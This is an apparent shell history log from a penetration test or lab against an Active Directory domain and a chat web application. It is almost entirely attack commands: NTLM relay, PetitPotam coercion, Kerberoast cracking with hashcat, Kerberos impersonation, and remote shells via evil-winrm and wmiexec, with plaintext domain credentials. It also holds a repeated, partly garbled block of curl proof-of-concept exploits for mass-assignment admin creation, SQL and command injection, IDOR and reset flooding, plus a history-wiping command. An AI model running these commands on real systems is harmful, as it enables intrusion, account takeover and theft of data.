_raw: : 1768069926:0;curl -s -X POST 'http://10.0.1.13:8180/realms/master/protocol/openid-connect/token' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=admin&password=admin&grant_type=password&client_id=admin-cli' | grep -o '"access_token":"[^"]*"' | sed 's/"access_token":"//;s/"$//' | xargs -I {} curl -X POST 'http://10.0.1.13:8180/admin/realms/master/identity-provider/import-config' -H "Authorization: Bearer {}" -H 'Content-Type: application/json' -d '{"providerId":"oidc","fromUrl":"http://example.com"}'


_raw: : 1768069912:0;curl -s -X POST 'http://10.0.1.13:8180/realms/master/protocol/openid-connect/token' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=admin&password=admin&grant_type=password&client_id=admin-cli' | grep -o '"access_token":"[^"]*"' | sed 's/"access_token":"//;s/"$//' | xargs -I {} curl -X POST 'http://10.0.1.13:8180/admin/realms/master/identity-provider/import-config' -H "Authorization: Bearer {}" -H 'Content-Type: application/json' -d '{"providerId":"oidc","fromUrl":"http://chat.allports.tours/"}'


_raw: : 1768069910:0;cp config.py maritime_security/config.py


_raw: : 1768069888:0;curl -s -X POST 'http://10.0.1.13:8180/realms/master/protocol/openid-connect/token' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=admin&password=admin&grant_type=password&client_id=admin-cli' | grep -o '"access_token":"[^"]*"' | sed 's/"access_token":"//;s/"$//' | xargs -I {} curl -X POST 'http://10.0.1.13:8180/admin/realms/master/identity-provider/import-config' -H "Authorization: Bearer {}" -H 'Content-Type: application/json' -d '{"providerId":"oidc","fromUrl":"http://10.0.254.106:9991"}'


_raw: : 1768069877:0;sudo apt install nodejs npm -y


_raw: : 1768069873:0;git clone https://github.com/mubix/IOXIDResolver


_raw:
: 1768069850:0;for i in {1..20}; do\
    echo "Request #$i:"\
    curl -k -X POST 'https://chat.allports.tours/forgot_password' \\
      -H 'Content-Type: application/json' \\
      -d '{"email":"REDACTED_EMAIL"}' \\
      -w "\nStatus: %{http_code}\n"\
  done\


_raw: : 1768069843:0;sudo apt install xfreerdp


_raw: : 1768069840:0;evil-winrm -i DECKHAND-01.allports.local -r ALLPORTS.LOCAL


_raw: : 1768069808:0;curl -s -X POST 'http://10.0.1.13:8180/realms/master/protocol/openid-connect/token' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=admin&password=admin&grant_type=password&client_id=admin-cli' | grep -o '"access_token":"[^"]*"' | sed 's/"access_token":"//;s/"$//' | xargs -I {} curl -X POST 'http://10.0.1.13:8180/admin/realms/master/identity-provider/import-config' -H "Authorization: Bearer {}" -H 'Content-Type: application/json' -d '{"providerId":"oidc","fromUrl":"https://accounts.google.com/.well-known/openid-configuration"}'


_raw: : 1768069797:0;python3 wmiexec-pro.py -no-pass -k allports.local/REDACTED_EMAIL


_raw: : 1768069796:0;evil-winrm -i DECKHAND-01.allports.local -r ALLPORTS.LOCAL


_raw: : 1768069781:0;impacket-getST -self -impersonate "BFINN" -altservice "cifs/DECKHAND-01.allports.local" -k -no-pass -dc-ip "10.0.1.6" "allports.local"/'DECKHAND-01$'


_raw: : 1768069780:0;python3 wmiexec-pro.py -no-pass -k allports.local/REDACTED_EMAIL


_raw:
: 1768069779:0;for i in {1..20}; do\
    echo "Request #$i:"\
    curl -k -X POST 'https://chat.allports.tours/forgot_password' \\
      -H 'Content-Type: application/json' \\
      -d '{"email":"REDACTED_EMAIL"}' \\
      -w "\nStatus: %{http_code}\n"\
  done\


_raw:
    -d '{"email":"REDACTED_EMAIL"}' | grep -i -E '(token|reset)'\
\
  Expected Result: Tokens/credentials in HTML response\
\
  ---\
  VULNERABILITY #10: Command Injection in Email Field (Testing)\
\
  PoC 10a: Basic command injection\
  curl -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"REDACTED_EMAIL; whoami"}'\
\
  PoC 10b: Command injection with backticks\
  curl -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"REDACTED_EMAIL`id`"}'\
\
  PoC 10c: Command injection with $(...)\
  curl -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"REDACTED_EMAIL$(whoami)"}'\
\
  Expected Result: If vulnerable, command output in response\


_raw:
: 1768069746:0;⃷\x83\xAF \xF0\x83\xBF\x83\xB4\xB4 COMPLETE POC EXPLOITS - CURL COMMANDS\
\
  VULNERABILITY #1: Mass Assignment - Create Admin Account (CRITICAL)\
\
  PoC 1a: Admin via "role" field\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "backdoor_admin",\
      "password": "Hacked123!",\
      "role": "admin"\
    }'\
\
  PoC 1b: Admin via "is_admin" field\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "admin_backdoor",\
      "password": "Hacked123!",\
      "is_admin": true\
    }'\
\
  PoC 1c: Admin via "admin" field\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "superadmin",\
      "password": "Hacked123!",\
      "admin": true\
    }'\
\
  PoC 1d: Admin via "privileges" field\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "root_user",\
      "password": "Hacked123!",\
      "privileges": ["admin", "superuser"]\
    }'\
\
  Expected Result: All return 200 OK, admin account created!\
\
  ---\
  VULNERABILITY #2: User Enumeration (MEDIUM)\
\
  PoC 2a: Test if user exists\
  # Valid user (returns 2596-2597 bytes)\
  curl -s -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"REDACTED_EMAIL"}' | wc -c\
\
  # Invalid user (returns 2614 bytes)\
  curl -s -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"REDACTED_EMAIL"}' | wc -c\
\
  PoC 2b: Enumerate users automatically\
  # Test multiple emails\
  for email in REDACTED_EMAIL REDACTED_EMAIL REDACTED_EMAIL REDACTED_EMAIL REDACTED_EMAIL; do\
    size=$(curl -s -X POST 'https://chat.allports.tours/forgot_password' \\
      -H 'Content-Type: application/json' \\
      -d "{\"email\":\"$email\"}" | wc -c)\
    echo "$email: $size bytes"\
  done\
\
  Expected Result: Different response sizes reveal valid emails\
\
  ---\
  VULNERABILITY #3: No Rate Limiting - DoS Attack (MEDIUM)\
\
  PoC 3: Spam password reset requests\
  # Send 20 password reset requests (no rate limiting)\
  for i in {1..20}; do\
    echo "Request #$i:"\
    curl -X POST 'https://chat.allports.tours/forgot_password' \\
      -H 'Content-Type: application/json' \\
      -d '{"email":"REDACTED_EMAIL"}' \\
      -w "\nStatus: %{http_code}\n"\
  done\
\
  Expected Result: All 20 requests succeed (no 429 rate limit)\
\
  ---\
  VULNERABILITY #4: Email Verification Bypass (HIGH)\
\
  PoC 4a: Register with admin email\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "fake_admin",\
      "password": "Test123"\
    }'\
\
  PoC 4b: Register with root@localhost\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "root@localhost",\
      "username": "root_user",\
      "password": "Test123"\
    }'\
\
  PoC 4c: Path traversal in email\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "../../../etc/passwd",\
      "username": "traversal",\
      "password": "Test123"\
    }'\
\
  Expected Result: Registration succeeds without email verification\
\
  ---\
  VULNERABILITY #5: SQL Injection Testing (Potential)\
\
  PoC 5a: SQL injection in email field (registration)\
  # Basic SQLi\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL'\''--",\
      "username": "test",\
      "password": "Test123"\
    }'\
\
  PoC 5b: UNION-based SQLi\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL'\'' UNION SELECT NULL--",\
      "username": "test",\
      "password": "Test123"\
    }'\
\
  PoC 5c: Time-based SQLi\
  # This should delay 5 seconds if vulnerable\
  time curl -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"REDACTED_EMAIL'\'' AND SLEEP(5)--"}'\
\
  PoC 5d: SQL injection in forgot_password\
  curl -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"admin'\'' OR '\''1'\''='\''1'\''--"}'\
\
  Expected Result: If vulnerable, will see errors or time delays\
\
  ---\
  VULNERABILITY #6: Race Condition - Multiple Accounts (HIGH)\
\
  PoC 6: Create 5 accounts with same email simultaneously\
  # Save this as race_condition_test.sh\
  #!/bin/bash\
\
  SAME_EMAIL="REDACTED_EMAIL"\
\
  # Launch 5 curl commands in parallel\
  for i in {1..5}; do\
    (curl -X POST 'https://chat.allports.tours/register' \\
      -H 'Content-Type: application/json' \\
      -d "{\
        \"email\": \"$SAME_EMAIL\",\
        \"username\": \"attacker_$i\",\
        \"password\": \"Hacked123\"\
      }" && echo "Account $i created") &\
  done\
\
  wait\
  echo "All requests completed"\
\
  Run:\
  chmod +x race_condition_test.sh\
  ./race_condition_test.sh\
\
  Expected Result: All 5 accounts created with same email!\
\
  ---\
  VULNERABILITY #7: Combined Attack - IDOR + Mass Assignment (CRITICAL)\
\
  PoC 7: Create admin account, then access all conversations\
  # Step 1: Create admin account via mass assignment\
  echo "[*] Step 1: Creating admin account..."\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "admin_backdoor",\
      "password": "Hacked123!",\
      "role": "admin"\
    }' -c cookies.txt\
\
  echo -e "\n[*] Step 2: Logging in..."\
  # Login with created account\
  curl -X POST 'https://chat.allports.tours/login' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "password": "Hacked123!"\
    }' -b cookies.txt -c cookies.txt\
\
  echo -e "\n[*] Step 3: Exploiting IDOR to access all conversations..."\
  # Access all conversations via IDOR\
  for i in {1..10}; do\
    echo "Accessing conversation $i:"\
    curl "https://chat.allports.tours/conversation/$i" \\
      -b cookies.txt -s | head -c 200\
    echo -e "\n---"\
  done\
\
  Expected Result: Full access to all conversations as admin!\
\
  ---\
  VULNERABILITY #8: Username Enumeration via Registration\
\
  PoC 8: Check if username exists\
  # Test common usernames\
  for username in admin root user test administrator; do\
    echo "Testing username: $username"\
    response=$(curl -s -X POST 'https://chat.allports.tours/register' \\
      -H 'Content-Type: application/json' \\
      -d "{\
        \"email\": \"random_$REDACTED_EMAIL\",\
        \"username\": \"$username\",\
        \"password\": \"Test123\"\
      }")\
\
    if [[ $response == *"exists"* ]] || [[ $response == *"taken"* ]]; then\
      echo "  ⃼\x83\xB3 Username '$username' EXISTS"\
    else\
      echo "  ⃼\x83\xB7 Username '$username' available"\
    fi\
  done\
\
  Expected Result: Can identify existing usernames\
\
  ---\
  VULNERABILITY #9: Token/Credential Exposure in Response\
\
  PoC 9: Check for token leakage\
  echo "[*] Registering account and checking response for tokens..."\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "tokentest",\
      "password": "Test123"\
    }' | grep -i -E '(token|session|jwt|password|secret|key)'\
\
  echo -e "\n[*] Requesting password reset and checking for tokens..."\
  curl -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\


_raw: : 1768069740:0;nxc smb 10.0.1.0/24 -u SVC_STABILIZE -p '1gyroscope' --shares


_raw: : 1768069739:0;evil-winrm -i DECKHAND-01.allports.local -r ALLPORTS.LOCAL


_raw: : 1768069737:0;evil-winrm-py -i 10.0.1.20 -u BFINN -noevil-winrm -i DECKHAND-01.allports.local -r ALLPORTS.LOCAL


_raw: : 1768069736:0;cp config.yaml.example config.yaml


_raw:
    -d '{"email":"REDACTED_EMAIL"}' | grep -i -E '(token|reset)'\
\
  Expected Result: Tokens/credentials in HTML response\
\
  ---\
  VULNERABILITY #10: Command Injection in Email Field (Testing)\
\
  PoC 10a: Basic command injection\
  curl -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"REDACTED_EMAIL; whoami"}'\
\
  PoC 10b: Command injection with backticks\
  curl -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"REDACTED_EMAIL`id`"}'\
\
  PoC 10c: Command injection with $(...)\
  curl -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"REDACTED_EMAIL$(whoami)"}'\
\
  Expected Result: If vulnerable, command output in response


_raw:
: 1768069728:0;⃷\x83\xAF \xF0\x83\xBF\x83\xB4\xB4 COMPLETE POC EXPLOITS - CURL COMMANDS\
\
  VULNERABILITY #1: Mass Assignment - Create Admin Account (CRITICAL)\
\
  PoC 1a: Admin via "role" field\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "backdoor_admin",\
      "password": "Hacked123!",\
      "role": "admin"\
    }'\
\
  PoC 1b: Admin via "is_admin" field\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "admin_backdoor",\
      "password": "Hacked123!",\
      "is_admin": true\
    }'\
\
  PoC 1c: Admin via "admin" field\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "superadmin",\
      "password": "Hacked123!",\
      "admin": true\
    }'\
\
  PoC 1d: Admin via "privileges" field\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "root_user",\
      "password": "Hacked123!",\
      "privileges": ["admin", "superuser"]\
    }'\
\
  Expected Result: All return 200 OK, admin account created!\
\
  ---\
  VULNERABILITY #2: User Enumeration (MEDIUM)\
\
  PoC 2a: Test if user exists\
  # Valid user (returns 2596-2597 bytes)\
  curl -s -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"REDACTED_EMAIL"}' | wc -c\
\
  # Invalid user (returns 2614 bytes)\
  curl -s -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"REDACTED_EMAIL"}' | wc -c\
\
  PoC 2b: Enumerate users automatically\
  # Test multiple emails\
  for email in REDACTED_EMAIL REDACTED_EMAIL REDACTED_EMAIL REDACTED_EMAIL REDACTED_EMAIL; do\
    size=$(curl -s -X POST 'https://chat.allports.tours/forgot_password' \\
      -H 'Content-Type: application/json' \\
      -d "{\"email\":\"$email\"}" | wc -c)\
    echo "$email: $size bytes"\
  done\
\
  Expected Result: Different response sizes reveal valid emails\
\
  ---\
  VULNERABILITY #3: No Rate Limiting - DoS Attack (MEDIUM)\
\
  PoC 3: Spam password reset requests\
  # Send 20 password reset requests (no rate limiting)\
  for i in {1..20}; do\
    echo "Request #$i:"\
    curl -X POST 'https://chat.allports.tours/forgot_password' \\
      -H 'Content-Type: application/json' \\
      -d '{"email":"REDACTED_EMAIL"}' \\
      -w "\nStatus: %{http_code}\n"\
  done\
\
  Expected Result: All 20 requests succeed (no 429 rate limit)\
\
  ---\
  VULNERABILITY #4: Email Verification Bypass (HIGH)\
\
  PoC 4a: Register with admin email\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "fake_admin",\
      "password": "Test123"\
    }'\
\
  PoC 4b: Register with root@localhost\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "root@localhost",\
      "username": "root_user",\
      "password": "Test123"\
    }'\
\
  PoC 4c: Path traversal in email\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "../../../etc/passwd",\
      "username": "traversal",\
      "password": "Test123"\
    }'\
\
  Expected Result: Registration succeeds without email verification\
\
  ---\
  VULNERABILITY #5: SQL Injection Testing (Potential)\
\
  PoC 5a: SQL injection in email field (registration)\
  # Basic SQLi\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL'\''--",\
      "username": "test",\
      "password": "Test123"\
    }'\
\
  PoC 5b: UNION-based SQLi\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL'\'' UNION SELECT NULL--",\
      "username": "test",\
      "password": "Test123"\
    }'\
\
  PoC 5c: Time-based SQLi\
  # This should delay 5 seconds if vulnerable\
  time curl -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"REDACTED_EMAIL'\'' AND SLEEP(5)--"}'\
\
  PoC 5d: SQL injection in forgot_password\
  curl -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"admin'\'' OR '\''1'\''='\''1'\''--"}'\
\
  Expected Result: If vulnerable, will see errors or time delays\
\
  ---\
  VULNERABILITY #6: Race Condition - Multiple Accounts (HIGH)\
\
  PoC 6: Create 5 accounts with same email simultaneously\
  # Save this as race_condition_test.sh\
  #!/bin/bash\
\
  SAME_EMAIL="REDACTED_EMAIL"\
\
  # Launch 5 curl commands in parallel\
  for i in {1..5}; do\
    (curl -X POST 'https://chat.allports.tours/register' \\
      -H 'Content-Type: application/json' \\
      -d "{\
        \"email\": \"$SAME_EMAIL\",\
        \"username\": \"attacker_$i\",\
        \"password\": \"Hacked123\"\
      }" && echo "Account $i created") &\
  done\
\
  wait\
  echo "All requests completed"\
\
  Run:\
  chmod +x race_condition_test.sh\
  ./race_condition_test.sh\
\
  Expected Result: All 5 accounts created with same email!\
\
  ---\
  VULNERABILITY #7: Combined Attack - IDOR + Mass Assignment (CRITICAL)\
\
  PoC 7: Create admin account, then access all conversations\
  # Step 1: Create admin account via mass assignment\
  echo "[*] Step 1: Creating admin account..."\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "admin_backdoor",\
      "password": "Hacked123!",\
      "role": "admin"\
    }' -c cookies.txt\
\
  echo -e "\n[*] Step 2: Logging in..."\
  # Login with created account\
  curl -X POST 'https://chat.allports.tours/login' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "password": "Hacked123!"\
    }' -b cookies.txt -c cookies.txt\
\
  echo -e "\n[*] Step 3: Exploiting IDOR to access all conversations..."\
  # Access all conversations via IDOR\
  for i in {1..10}; do\
    echo "Accessing conversation $i:"\
    curl "https://chat.allports.tours/conversation/$i" \\
      -b cookies.txt -s | head -c 200\
    echo -e "\n---"\
  done\
\
  Expected Result: Full access to all conversations as admin!\
\
  ---\
  VULNERABILITY #8: Username Enumeration via Registration\
\
  PoC 8: Check if username exists\
  # Test common usernames\
  for username in admin root user test administrator; do\
    echo "Testing username: $username"\
    response=$(curl -s -X POST 'https://chat.allports.tours/register' \\
      -H 'Content-Type: application/json' \\
      -d "{\
        \"email\": \"random_$REDACTED_EMAIL\",\
        \"username\": \"$username\",\
        \"password\": \"Test123\"\
      }")\
\
    if [[ $response == *"exists"* ]] || [[ $response == *"taken"* ]]; then\
      echo "  ⃼\x83\xB3 Username '$username' EXISTS"\
    else\
      echo "  ⃼\x83\xB7 Username '$username' available"\
    fi\
  done\
\
  Expected Result: Can identify existing usernames\
\
  ---\
  VULNERABILITY #9: Token/Credential Exposure in Response\
\
  PoC 9: Check for token leakage\
  echo "[*] Registering account and checking response for tokens..."\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "tokentest",\
      "password": "Test123"\
    }' | grep -i -E '(token|session|jwt|password|secret|key)'\
\
  echo -e "\n[*] Requesting password reset and checking for tokens..."\
  curl -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\


_raw: : 1768069727:0;curl -LsSf https://astral.sh/uv/install.sh | sh


_raw: : 1768069721:0;xfreerdp3 /v:10.0.1.21 /u:SVC_STABILIZE /p:'1gyroscope' /d:allports.local


_raw: : 1768069720:0;impacket-ntlmrelayx -tf targets.txt -smb2support -i


_raw: : 1768069708:0;sudo apt install impacket-scripts


_raw: : 1768069703:0;sudo apt install impacket


_raw: : 1768069677:0;truncate -s 0 .zsh_history


_raw: : 1768069676:0;impacket-ntlmrelayx -t 10.0.1.21 -smb2support -i


_raw: : 1768069671:0;cp .zsh_history .zsh_history.bak


_raw: : 1768069664:0;git clone https://github.com/dirkjanm/BloodHound.py.git -b bloodhound-ce


_raw: : 1768069661:0;impacket-ntlmrelayx -t 10.0.1.20 -smb2support -i


_raw: : 1768069655:0;hashcat -m 13100 kerber /usr/share/wordlists/rockyou.txt --show


_raw: : 1768069651:0;hashcat -m 13100 kerber /usr/share/wordlists/rockyou.txt


_raw: : 1768069650:0;git clone https://github.com/XiaoliChan/wmiexec-Pro


_raw: : 1768069633:0;impacket-ntlmrelayx -t 10.0.1.21 -smb2support -i


_raw: : 1768069623:0;git clone https://github.com/fortra/impacket/blob/master/examples/wmiexec.py


_raw: : 1768069610:0;sudo apt-get install shutter


_raw: : 1768069598:0;python3 /usr/lib/python3/dist-packages/nxc/modules/petitpotam.py 10.0.254.203 10.0.1.6


_raw: : 1768069580:0;gobuster dir --url http://10.0.1.13:8090/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms


_raw: : 1768069571:0;gobuster dir --url https://10.0.1.13:8090/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms


_raw: : 1768069563:0;impacket-ntlmrelayx -tf targets.txt -smb2support -i


_raw: : 1768069559:0;python3 wmiexec.py -no-pass -k allports.local/REDACTED_EMAIL


_raw: : 1768069548:0;wmiexec.py -no-pass -k allports.local/REDACTED_EMAIL


_raw: : 1768069546:0;evil-winrm -i 10.0.1.20 -u BFINN -r allports.local -k BFINN@REDACTED_EMAIL


_raw: : 1768069539:0;rpcclient -U "svc_stabilize%1gyroscope" 10.0.1.6 -c "enumpipes"


_raw: : 1768069518:0;rpcclient -U "svc_stabilize%1gyroscope" 10.0.1.6 -c "/pipe/scerpc"


_raw: : 1768069513:0;rpcclient -U "svc_stabilize%1gyroscope" 10.0.1.6 -c "/pipe/scerpcs"


_raw: : 1768069509:0;sudo apt install docker.io


_raw: : 1768069501:0;rpcclient -U "svc_stabilize%1gyroscope" 10.0.1.6 -c "scerpc"


_raw: : 1768069500:0;aider --model anthropic/claude-3-5-sonnet-20241022


_raw: : 1768069492:0;rpcclient -U "svc_stabilize%1gyroscope" 10.0.1.6 -c "ntsvcs"


_raw: : 1768069480:0;echo "Y2FwdGFpbjpsZXRtZWlu" | base64 -d


_raw:
: 1768069480:0;# Add Docker's official GPG key:\
sudo apt update\
sudo apt install ca-certificates curl\
sudo install -m 0755 -d /etc/apt/keyrings\
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc\
sudo chmod a+r /etc/apt/keyrings/docker.asc\
\
# Add the repository to Apt sources:\
sudo tee /etc/apt/sources.list.d/docker.sources <<EOF\
Types: deb\
URIs: https://download.docker.com/linux/ubuntu\
Suites: $(. /etc/os-release && echo "${UBUNTU_CODENAME:-$VERSION_CODENAME}")\
Components: stable\
Signed-By: /etc/apt/keyrings/docker.asc\
EOF\
\
sudo apt update


_raw: : 1768069471:0;sudo apt install ./ksnip*.deb


_raw: : 1768069437:0;echo 'alias claude="source ~/claude-venv/bin/activate && aider"' >> ~/.zshrc


_raw: : 1768069402:0;pip install llm llm-claude-3


_raw: : 1768069401:0;crackmapexec smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -M enum_pipes


_raw: : 1768069396:0;sudo apt install crackmapexec


_raw:
    -d '{"email":"REDACTED_EMAIL"}' | grep -i -E '(token|reset)'\
\
  Expected Result: Tokens/credentials in HTML response\
\
  ---\
  VULNERABILITY #10: Command Injection in Email Field (Testing)\
\
  PoC 10a: Basic command injection\
  curl -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"REDACTED_EMAIL; whoami"}'\
\
  PoC 10b: Command injection with backticks\
  curl -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"REDACTED_EMAIL`id`"}'\
\
  PoC 10c: Command injection with $(...)\
  curl -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"REDACTED_EMAIL$(whoami)"}'\
\
  Expected Result: If vulnerable, command output in response\


_raw:
: 1768069392:0;⃷\x83\xAF \xF0\x83\xBF\x83\xB4\xB4 COMPLETE POC EXPLOITS - CURL COMMANDS\
\
  VULNERABILITY #1: Mass Assignment - Create Admin Account (CRITICAL)\
\
  PoC 1a: Admin via "role" field\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "backdoor_admin",\
      "password": "Hacked123!",\
      "role": "admin"\
    }'\
\
  PoC 1b: Admin via "is_admin" field\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "admin_backdoor",\
      "password": "Hacked123!",\
      "is_admin": true\
    }'\
\
  PoC 1c: Admin via "admin" field\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "superadmin",\
      "password": "Hacked123!",\
      "admin": true\
    }'\
\
  PoC 1d: Admin via "privileges" field\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "root_user",\
      "password": "Hacked123!",\
      "privileges": ["admin", "superuser"]\
    }'\
\
  Expected Result: All return 200 OK, admin account created!\
\
  ---\
  VULNERABILITY #2: User Enumeration (MEDIUM)\
\
  PoC 2a: Test if user exists\
  # Valid user (returns 2596-2597 bytes)\
  curl -s -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"REDACTED_EMAIL"}' | wc -c\
\
  # Invalid user (returns 2614 bytes)\
  curl -s -X POST 'https://chat.allports.tours/forgot_password' \\
    -H 'Content-Type: application/json' \\
    -d '{"email":"REDACTED_EMAIL"}' | wc -c\
\
  PoC 2b: Enumerate users automatically\
  # Test multiple emails\
  for email in REDACTED_EMAIL REDACTED_EMAIL REDACTED_EMAIL REDACTED_EMAIL REDACTED_EMAIL; do\
    size=$(curl -s -X POST 'https://chat.allports.tours/forgot_password' \\
      -H 'Content-Type: application/json' \\
      -d "{\"email\":\"$email\"}" | wc -c)\
    echo "$email: $size bytes"\
  done\
\
  Expected Result: Different response sizes reveal valid emails\
\
  ---\
  VULNERABILITY #3: No Rate Limiting - DoS Attack (MEDIUM)\
\
  PoC 3: Spam password reset requests\
  # Send 20 password reset requests (no rate limiting)\
  for i in {1..20}; do\
    echo "Request #$i:"\
    curl -X POST 'https://chat.allports.tours/forgot_password' \\
      -H 'Content-Type: application/json' \\
      -d '{"email":"REDACTED_EMAIL"}' \\
      -w "\nStatus: %{http_code}\n"\
  done\
\
  Expected Result: All 20 requests succeed (no 429 rate limit)\
\
  ---\
  VULNERABILITY #4: Email Verification Bypass (HIGH)\
\
  PoC 4a: Register with admin email\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL",\
      "username": "fake_admin",\
      "password": "Test123"\
    }'\
\
  PoC 4b: Register with root@localhost\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "root@localhost",\
      "username": "root_user",\
      "password": "Test123"\
    }'\
\
  PoC 4c: Path traversal in email\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "../../../etc/passwd",\
      "username": "traversal",\
      "password": "Test123"\
    }'\
\
  Expected Result: Registration succeeds without email verification\
\
  ---\
  VULNERABILITY #5: SQL Injection Testing (Potential)\
\
  PoC 5a: SQL injection in email field (registration)\
  # Basic SQLi\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL'\''--",\
      "username": "test",\
      "password": "Test123"\
    }'\
\
  PoC 5b: UNION-based SQLi\
  curl -X POST 'https://chat.allports.tours/register' \\
    -H 'Content-Type: application/json' \\
    -d '{\
      "email": "REDACTED_EMAIL'\'' UNION SELECT NULL--",\
      "username": "test",\
      "password": "Test123"\
    }'\
\
  PoC 5c: Time-based SQLi\
  # This should delay 5 seconds if vulnerable\
